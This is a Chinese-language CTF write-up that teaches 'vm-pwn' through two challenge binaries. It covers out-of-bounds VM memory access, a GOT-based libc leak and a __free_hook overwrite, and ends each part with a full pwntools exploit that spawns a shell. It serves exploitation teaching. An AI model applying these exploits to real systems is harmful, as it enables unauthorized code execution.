vm-pwn入門

2021-02-25 合天智匯

文章共計2761個詞

預計閱讀7分鐘

來和我一起閱讀吧

引言

之前一直沒去了解過vm-pwn,做一些題目對vm-pwn進行一個大體上的了解,算是入門。

前置知識

對指令有過了解

有耐心(感覺vm程序的代碼量有點大)

[OGeek2019 Final]OVM檢測保護

canary沒開啟

ida分析main函數

fetch函數

fetch函數較為簡單,即取出pc值,以pc值作為下標返回指定的指令


execute函數

可以看到指令是由幾個部分組成的,其實execute函數就是一個指令表,我們通過指令表輸入相應的指令就可以完成相應的操作。

指令表

操作碼|操作數1|操作數2|操作數3op   |num1  |num2  |num3--操作碼0x70: reg[num1] = reg[num3]+reg[num2] | add指令0xB0: reg[num1] = reg[num3]^reg[num2] | 異或指令0xD0: reg[num1] = reg[num2]>>reg[num3] | 右移指令0xFF: 若reg[13]為0,則退出,否則列印指令集0xC0: reg[num1] = reg[num2] << reg[num3] | 左移指令0x90: reg[num1] = reg[num3] & reg[num2] |與指令0xA0: reg[num1] = reg[num3] | reg[num2] |或指令0x80: reg[num1] = reg[num2] - reg[num3] | sub指令0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令0x50: stack[op] = reg[num1] | push指令0x60: reg[num1] = stack[reg[13]] | pop指令0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令0x10: reg[num1] = v2(最低位) | set指令0x20: reg[num1] = v2 ==0


其中漏洞點在於兩條指令,由於數組的下標沒有進行限制,則會產生數組越界的情況。則造成了任意地址寫和任意地址讀的情況。

0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令  0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令 


採用movsxd指令進行下標的轉移,movsxd是進行符號填充再進行轉移,即數組的下標是有符號數。


可以看到用於保存指令的memory以及用於寄存器存儲的reg的地址都比got表的地址大,那麼大數組的下標為負數時,即可越界讀取got表內的地址,完成基地址的洩露

思路

首先程序再結束時,會往comment[0]的內容作為地址寫入,然後將comment[0]給free掉,那麼可以將comment[0]的內容修改為free_hook-4,此時可以將free_hook-4修改為/bin/sh\x00,free_hook修改為system從而獲得shell

由於需要將commnet[0]修改為free_hook-4,那麼首先需要洩露libc_base的地址,由於讀取操作沒有對下標進行限制,因此進行任意地址讀,讀取got表項的內容,洩露libc的地址

將讀取得到libc地址,利用指令表的算數運算求得free_hook-4的地址,利用寫操作沒有對下標進行限制,進行任意地址寫,往comment[0]內寫入free_hook-4的地址

#step1 讀取got表項內容
0x100a0001, 0x100b0009, 0xc00a0a0b, 0x10010001, 0x10020006, 0xc0030102, 0x10010004, 0x10000006, 0x70030301, 0x80040003, 0x30050004, 0x7004040d,0x30060004,

解釋一下-0x3e,我們找到需要洩露的got表項的地址,與memory地址相減,然後要除以4,因為這個值為數組的下標,而數組的大小為int型,因此要除以4,即可求出目標地址的下標值

#step2 往commnet[0]寫入

由於以及洩露出got表現的地址,該地址與free_hook-4的地址相對偏移是不變的,因此就需要利用指令表的指令進行算數運算求出free_hook-4的地址即可,接著再次利用數組越界將free_hook-4寫入comment[0]即可

0x10000003,0x1001000f,0xc0000001,0x10010005,0xc0000001,0x10020004,0x1001000f,0xc0020201,0x10010001,0xc0020201,0x70000002,0x1001000c,0x10020002,0xc0020201,0x70000002,0x10010008,0x10020002,0xc0020201,0x70000002,0x10010004,0x1002000b,0xc0020201,0x70000002,0x70050500,0x10000000,0x10010008,0x80000001,0x40050000,0x10010001,0x70000001,0x40060000,0xff000000 


完整exp

from pwn import *libc = ELF("libc.so.6")context(arch='amd64',os='linux')sh = process("./pwn")free_hook = libc.symbols['__free_hook']print 'free_hook:'+hex(free_hook)code = [0x100a0001, 0x100b0009, 0xc00a0a0b, 0x10010001, 0x10020006, 0xc0030102, 0x10010004, 0x10000006, 0x70030301, 0x80040003, 0x30050004, 0x7004040d,0x30060004,0x10000003,0x1001000f,0xc0000001,0x10010005,0xc0000001,0x10020004,0x1001000f,0xc0020201,0x10010001,0xc0020201,0x70000002,0x1001000c,0x10020002,0xc0020201,0x70000002,0x10010008,0x10020002,0xc0020201,0x70000002,0x10010004,0x1002000b,0xc0020201,0x70000002,0x70050500,0x10000000,0x10010008,0x80000001,0x40050000,0x10010001,0x70000001,0x40060000,0xff000000 ]sh.recvuntil("PC:")sh.sendline(str(0))sh.recvuntil("SP:")sh.sendline(str(1))sh.recvuntil("CODE SIZE:")sh.sendline(str(len(code)))sh.recvuntil("CODE: ")for i in code:  sleep(0.1)  sh.sendline(str(i))sh.recvuntil("R5: ")addr1 = sh.recv(8)print 'addr1:'+addr1sh.recvuntil("R6: ")addr2 = sh.recv(4)print 'addr2:'+addr2addr = int('0x'+addr2+addr1,16)print 'addr:'+hex(addr)libc_base = addr - 0x3c67a0system = libc_base + libc.symbols['system']print 'system:'+hex(system)sh.recvuntil("OVM?")payload = '/bin/sh\x00'+p64(system)attach(sh)sh.send(payload)sh.interactive()


ciscn_2019_qual_virtual

檢測保護

ida分析main函數

程序開始開闢了三個空間,用於存放指令,數據,以及用於操作的數據空間。

指令表

指令間是通過分隔符執行分隔的,分隔符有 \n\r\t存進了名為delim的變量,strtok是根據分隔符將字符串分割出來,就是為了區分我們輸入的指令。指令是採用字符串進行輸入的。

execute

在執行指令的函數裡,具體的指令操作沒有反編譯出來,我們需要動態調試將指令具體的操作的函數偏移調試出來。

將斷點斷在跳轉時,因為rax是通過動態賦值的,因此ida不能分析出具體跳轉的函數


進入gdb進行動態調試

輸入你需要查找的指令

查看此時rax的值

在ida內,G鍵輸入跳轉,輸入rax的值


可以發現這裡會調用一個函數,這個函數就是save指令的操作,其餘指令的操作也可以這樣調試出來,就不一一演示了。


save

save函數就是從運行棧的棧頂中取出兩個值,一個值作為下標,另一個作為值進行賦值,很顯然是一個任意地址寫的功能,因為下標的值沒有進行限制,因此存在一個數組越界。


load

存在一個任意地址寫,按照套路,就應該存在一個任意地址讀,我們來看下load函數,load函數就是從運行棧的棧頂取出一個值作為下標,並且將該下標的值存入運行棧中,位於運行棧的棧頂。通用存在數組越界


思路完整exp
from pwn import *
libc = ELF("libc.so.6")sh = remote("node3.buuoj.cn",26845)puts_got = 0x404020sh.recvuntil("name:")sh.sendline("/bin/sh\x00")sh.recvuntil("instruction:")payload= 'push push load push sub div load push add 'payload+= 'push push load push sub div save 'sh.sendline(payload) sh.recvuntil("data:")payload = str(8)+' 'payload += str(-4)+' 'payload += str(puts_got+8)+' 'payload += str(-0x2a300)+' 'payload += str(8)+' 'payload += str(-5)+' 'payload += str(puts_got+8)+' 'sh.sendline(payload)sh.interactive()

相關焦點

  • Linux pwn從入門到熟練(三)
    「紙上得來終覺淺,絕知此事要躬行」——《冬夜讀書示子聿》 時間久遠,怕大家找不到從前的文章,特此給出傳送門:Linux pwn從入門到熟練(二)https://bbs.pediy.com/thread-248681.htmLinux pwn從入門到熟練
  • Linux pwn從入門到熟練(二)
    這裡我們會介紹,如何在棧可執行而system函數以及參數沒有的情況下,如何自己布置payload進行pwn。此外,還提供了一份可以參考的pwn套路,套路熟悉了,即可慢慢轉化為熟悉。故此名曰:入門到熟練(二)。 練習題參考(利用庫函數讀取參數)所謂的入門到熟練,套路還是要有的。套路有了,就可以見招拆招。我們一步一步來。
  • linux pwn入門學習到放棄
    本文記錄菜鳥學習linux pwn入門的一些過程,詳細介紹linux上的保護機制,分析一些常見漏洞如棧溢出,堆溢出,use after free等,以及一些常見工具集合介紹等。先來學習一些關於linux方面的保護措施,作業系統提供了許多安全機制來嘗試降低或阻止緩衝區溢出攻擊帶來的安全風險,包括DEP、ASLR等。
  • 《從入門到禿頭之PWN蛇皮走位》
    這道題讀出的信息,有IP:182.254.217.142 PORT:10001然後flag存放位置是在/home/pwn/flag那麼按道理就是,我們使用遠程連接182.254.217.142:10001然後執行命令接下來問題就是怎麼打了分析函數使用工具:Radare2、IDA7.0使用IDA7.0查看程序
  • PWN學習指南
    Python : 有了前面的鋪墊,學python就會很快,廖雪峰的python教程,《Python編程從入門到實踐》等都不錯。彙編 : 用王爽的《彙編語言》來入門是不錯的. 不過這本書是16位彙編,入門後還得找找32位,64位彙編資料來看看。這裡說的彙編都是asm彙編.
  • Linux kernel pwn:ROP & ret2usr
    相對於用戶態的pwn來說複雜很多,而網上記載入門的博客都比較簡略,所以這篇博文我會儘可能詳細地記錄,有錯誤的點希望師傅們斧正。部分內核pwn入門基礎可見我的這一篇博文:https://www.cnblogs.com/T1e9u/p/13743811.html#user-space-to-kernel-space內核pwn應該怎麼pwn與用戶態的
  • 實戰解析PWN籤到題
    最後面有省略號我猜測應該是沒有輸出完所以我們使用pwntools攻擊 recvline() 接受沒有顯示出來的內容然後發現有一個base64加密的字符串 結合題目說聰明得人才能發現解密出來就是flag{n0tf4stert6an_y0u}
  • BUU_PWN刷題(一)
    0x2.ripchecksec:yutao@pwnbaby:~/Desktop$ checksec pwn1[*] '/home/yutao/Desktop/pwn1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found
  • 一步一步學pwntools
    本來想發發我之前CTF的writeups,不過數量有點多,而且網上也有很多質量不錯的wp,就發回之前寫的pwntools新手教程。網上純新手教程比較少,一般都是直接調用api,這篇主要是想給新手對pwntool一個更整體的認識。原文是我用英文寫的,如果翻譯的不好,請見諒。
  • CTF必備技能丨Linux Pwn入門教程——格式化字符串漏洞
    Linux Pwn入門教程系列分享如約而至,本套課程是作者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的
  • CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧
    今天i春秋與大家分享的是Linux Pwn入門教程第五章:調整棧幀的技巧,閱讀用時約12分鐘。修改esp擴大棧空間我們先來嘗試一下修改esp擴大棧空間。/usr/bin/python#coding:utf-8from pwn import *context.update(arch = 'amd64', os = 'linux', timeout = 1)io = remote('172.17.0.3', 10001)payload = ""payload += p64(0x6161616161617970
  • linux-kernel-pwn qwb2018 core
    /vmlinux --nocolor > ropgadget.txt然後在ropgadget.txt中尋找gadget,gadget中地址是沒有隨機化的地址,因此需要依靠偏移得到真實地址,偏移計算方法如下:In[1]: from pwn import*In[2]: e=ELF(".
  • PWNHUB雙蛋賽pwn題解
    pwnhub的2道pwn題目,一道格式化字符串的題目,一道libc-2.31的堆題目。
  • arm_pwn環境搭建及初探
    相關一般來說還是比較習慣用pwntools來寫題目,所以就研究了下相關的使用方法。例題這裡以第四屆上海市大學生網絡安全大賽的baby_arm為例講下arm的pwn。最終expfrom pwn import *context.arch = 'aarch64'g = gdb.debug(".
  • 怎麼卸載oracle vm virtualbox軟體
    怎麼卸載oracle vm virtualbox軟體首先打開360軟體管家,找到oracle vm virtualbox這個軟體,點擊卸載,看能不能卸載掉,如果不能就要換一種方法。在電腦桌面用滑鼠雙擊控制面板。進入到控制面板頁面,點擊程序和功能。
  • 今天你pwn了嗎(三)
    ez_pz_hackover_2016 環境:Ubuntu 16.04首先查看下文件屬性:可以看到 是 32位的elf 程序,且 沒有開啟任何 保護,於是 首先考慮shellcode 的方式去pwnbabyfengshui_33c3_2016這題 是個很好的 堆入門題。我們一起來分析下吧。
  • 簡單分析南郵實訓平臺pwn方向真題
    簡單分析南郵實訓平臺pwn方向第二題 - Stack Overflow
  • 怎麼使用vue中的實例屬性vm.$data
    npm技術vueElementJavaScript在vue中,vm插入一個輸入框和一個按鈕4、先導入vue,然後在methods中,定義點擊事件getData;事件中,實例化對象vm,使用vm.實例化對象vm,使用vm.$data.user獲取5、打開項目中的App.vue文件,導入組件DataAttr(將新建文件名稱改為這個)
  • Vue中的initLifecycle(vm)方法及eventsMixin(Vue)方法
    >        initEvents(vm)    initRender(vm)    callHook(vm, 'beforeCreate')    initInjections(vm) // resolve injections before data/props    initState(vm)    initProvide(vm) // resolve
  • 2020 藍帽杯線下賽PWN WriteUp
    from pwn import *file_path = "./chall"context.arch = "amd64"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0def pwn(p, index, ch): read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx